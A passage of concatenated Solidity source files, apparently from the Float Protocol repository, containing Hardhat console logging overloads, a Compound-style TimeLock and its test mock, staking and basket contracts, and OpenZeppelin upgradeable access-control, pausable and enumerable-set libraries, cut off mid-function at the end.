_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: BSD-3-Clause
// Copyright 2020 Compound Labs, Inc.
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "hardhat/console.sol";
contract TimeLock {
using SafeMath for uint256;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint256 indexed newDelay);
event CancelTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event ExecuteTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event QueueTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
uint256 public constant GRACE_PERIOD = 14 days;
uint256 public constant MINIMUM_DELAY = 2 days;
uint256 public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint256 public delay;
mapping(bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint256 delay_) public {
require(
delay_ >= MINIMUM_DELAY,
"TimeLock::constructor: Delay must exceed minimum delay."
);
require(
delay_ <= MAXIMUM_DELAY,
"TimeLock::constructor: Delay must not exceed maximum delay."
);
admin = admin_;
delay = delay_;
}
fallback() external {}
function setDelay(uint256 delay_) public {
require(
msg.sender == address(this),
"TimeLock::setDelay: Call must come from TimeLock."
);
require(
delay_ >= MINIMUM_DELAY,
"TimeLock::setDelay: Delay must exceed minimum delay."
);
require(
delay_ <= MAXIMUM_DELAY,
"TimeLock::setDelay: Delay must not exceed maximum delay."
);
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(
msg.sender == pendingAdmin,
"TimeLock::acceptAdmin: Call must come from pendingAdmin."
);
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(
msg.sender == address(this),
"TimeLock::setPendingAdmin: Call must come from TimeLock."
);
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public returns (bytes32) {
require(
msg.sender == admin,
"TimeLock::queueTransaction: Call must come from admin."
);
require(
eta >= getBlockTimestamp().add(delay),
"TimeLock::queueTransaction: Estimated execution block must satisfy delay."
);
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public {
require(
msg.sender == admin,
"TimeLock::cancelTransaction: Call must come from admin."
);
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public payable returns (bytes memory) {
require(
msg.sender == admin,
"TimeLock::executeTransaction: Call must come from admin."
);
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(
queuedTransactions[txHash],
"TimeLock::executeTransaction: Transaction hasn't been queued."
);
require(
getBlockTimestamp() >= eta,
"TimeLock::executeTransaction: Transaction hasn't surpassed time lock."
);
require(
getBlockTimestamp() <= eta.add(GRACE_PERIOD),
"TimeLock::executeTransaction: Transaction is stale."
);
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) =
target.call{value: value}(callData);
require(
success,
"TimeLock::executeTransaction: Transaction execution reverted."
);
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint256) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
// SPDX-License-Identifier: BSD-3-Clause
// Copyright 2020 Compound Labs, Inc.
pragma solidity ^0.7.6;
import "../TimeLock.sol";
contract TimeLockMock is TimeLock {
constructor(address admin_, uint256 delay_)
TimeLock(admin_, TimeLock.MINIMUM_DELAY)
{
admin = admin_;
delay = delay_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "synthetix/contracts/interfaces/IStakingRewards.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract EarnedAggregator {
/// @notice The address of the Float Protocol Timelock
address public timelock;
/// @notice addresses of pools (Staking Rewards Contracts)
address[] public pools;
constructor(address timelock_, address[] memory pools_) {
timelock = timelock_;
pools = pools_;
}
function getPools() public view returns (address[] memory) {
address[] memory pls = pools;
return pls;
}
function addPool(address pool) public {
// Sanity check for function and no error
IStakingRewards(pool).earned(timelock);
for (uint256 i = 0; i < pools.length; i++) {
require(pools[i] != pool, "already added");
}
require(msg.sender == address(timelock), "EarnedAggregator: !timelock");
pools.push(pool);
}
function removePool(uint256 index) public {
require(msg.sender == address(timelock), "EarnedAggregator: !timelock");
if (index >= pools.length) return;
if (index != pools.length - 1) {
pools[index] = pools[pools.length - 1];
}
pools.pop();
}
function getCurrentEarned(address account) public view returns (uint256) {
uint256 votes = 0;
for (uint256 i = 0; i < pools.length; i++) {
// get tokens earned for staking
votes = SafeMath.add(votes, IStakingRewards(pools[i]).earned(account));
}
return votes;
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "../AuctionHouseMath.sol";
contract AuctionHouseMathTest is AuctionHouseMath {
function _lerp(
uint256 start,
uint256 end,
uint16 step,
uint16 maxStep
) public pure returns (uint256 result) {
return lerp(start, end, step, maxStep);
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/GSN/ContextUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../external-lib/SafeDecimalMath.sol";
import "./interfaces/IBasket.sol";
import "./BasketMath.sol";
/**
* @title Float Protocol Basket
* @notice The logic contract for storing underlying ETH (as wETH)
*/
contract BasketV1 is IBasket, Initializable, AccessControlUpgradeable {
using SafeMath for uint256;
using SafeDecimalMath for uint256;
using SafeERC20 for IERC20;
/* ========== CONSTANTS ========== */
bytes32 public constant GOVERNANCE_ROLE = keccak256("GOVERNANCE_ROLE");
bytes32 public constant AUCTION_HOUSE_ROLE = keccak256("AUCTION_HOUSE_ROLE");
/* ========== STATE VARIABLES ========== */
IERC20 public float;
IERC20 private weth;
/**
* @notice The target ratio for "collateralisation"
* @dev [e27] Start at 100%
*/
uint256 public targetRatio;
function initialize(
address _admin,
address _weth,
address _float
) external initializer {
weth = IERC20(_weth);
float = IERC20(_float);
targetRatio = SafeDecimalMath.PRECISE_UNIT;
_setupRole(DEFAULT_ADMIN_ROLE, _admin);
_setupRole(GOVERNANCE_ROLE, _admin);
}
/* ========== MODIFIERS ========== */
modifier onlyGovernance {
require(
hasRole(GOVERNANCE_ROLE, _msgSender()),
"AuctionHouse/GovernanceRole"
);
_;
}
/* ========== VIEWS ========== */
/// @inheritdoc IBasketReader
function underlying() public view override(IBasketReader) returns (address) {
return address(weth);
}
/// @inheritdoc IBasketReader
function getBasketFactor(uint256 targetPriceInEth)
external
view
override(IBasketReader)
returns (uint256 basketFactor)
{
uint256 wethInBasket = weth.balanceOf(address(this));
uint256 floatTotalSupply = float.totalSupply();
return
basketFactor = BasketMath.calcBasketFactor(
targetPriceInEth,
wethInBasket,
floatTotalSupply,
targetRatio
);
}
/* ========== RESTRICTED FUNCTIONS ========== */
/* ----- onlyGovernance ----- */
/// @inheritdoc IBasketGovernedActions
function buildAuctionHouse(address _auctionHouse, uint256 _allowance)
external
override(IBasketGovernedActions)
onlyGovernance
{
grantRole(AUCTION_HOUSE_ROLE, _auctionHouse);
weth.safeApprove(_auctionHouse, 0);
weth.safeApprove(_auctionHouse, _allowance);
}
/// @inheritdoc IBasketGovernedActions
function burnAuctionHouse(address _auctionHouse)
external
override(IBasketGovernedActions)
onlyGovernance
{
revokeRole(AUCTION_HOUSE_ROLE, _auctionHouse);
weth.safeApprove(_auctionHouse, 0);
}
/// @inheritdoc IBasketGovernedActions
function setTargetRatio(uint256 _targetRatio)
external
override(IBasketGovernedActions)
onlyGovernance
{
require(
_targetRatio <= BasketMath.MAX_TARGET_RATIO,
"BasketV1/RatioTooHigh"
);
require(
_targetRatio >= BasketMath.MIN_TARGET_RATIO,
"BasketV1/RatioTooLow"
);
targetRatio = _targetRatio;
emit NewTargetRatio(_targetRatio);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSetUpgradeable.sol";
import "../utils/AddressUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
using AddressUpgradeable for address;
struct RoleData {
EnumerableSetUpgradeable.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/ContextUpgradeable.sol";
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import "./basket/IBasketReader.sol";
import "./basket/IBasketGovernedActions.sol";
/**
* @title The interface for a Float Protocol Asset Basket
* @notice A Basket stores value used to stabilise price and assess the
* the movement of the underlying assets we're trying to track.
* @dev The Basket interface is broken up into many smaller pieces to allow only
* relevant parts to be imported
*/
interface IBasket is IBasketReader, IBasketGovernedActions {
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "../external-lib/SafeDecimalMath.sol";
library BasketMath {
using SafeMath for uint256;
using SafeDecimalMath for uint256;
// SafeDecimalMath.PRECISE_UNIT = 1e27
uint256 internal constant MIN_TARGET_RATIO = 0.1e27;
uint256 internal constant MAX_TARGET_RATIO = 2e27;
/**
* @dev bF = ( eS / (fS * tP) ) / Q
* @param targetPriceInEth [e27] target price (tP).
* @param ethStored [e18] denoting total eth stored in basket (eS).
* @param floatSupply [e18] denoting total floatSupply (fS).
* @param targetRatio [e27] target ratio (Q)
* @return basketFactor an [e27] decimal (bF)
*/
function calcBasketFactor(
uint256 targetPriceInEth,
uint256 ethStored,
uint256 floatSupply,
uint256 targetRatio
) internal pure returns (uint256 basketFactor) {
// Note that targetRatio should already be checked on set
assert(targetRatio >= MIN_TARGET_RATIO);
assert(targetRatio <= MAX_TARGET_RATIO);
uint256 floatValue =
floatSupply.multiplyDecimalRoundPrecise(targetPriceInEth);
uint256 basketRatio = ethStored.divideDecimalRoundPrecise(floatValue);
return basketFactor = basketRatio.divideDecimalRoundPrecise(targetRatio);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
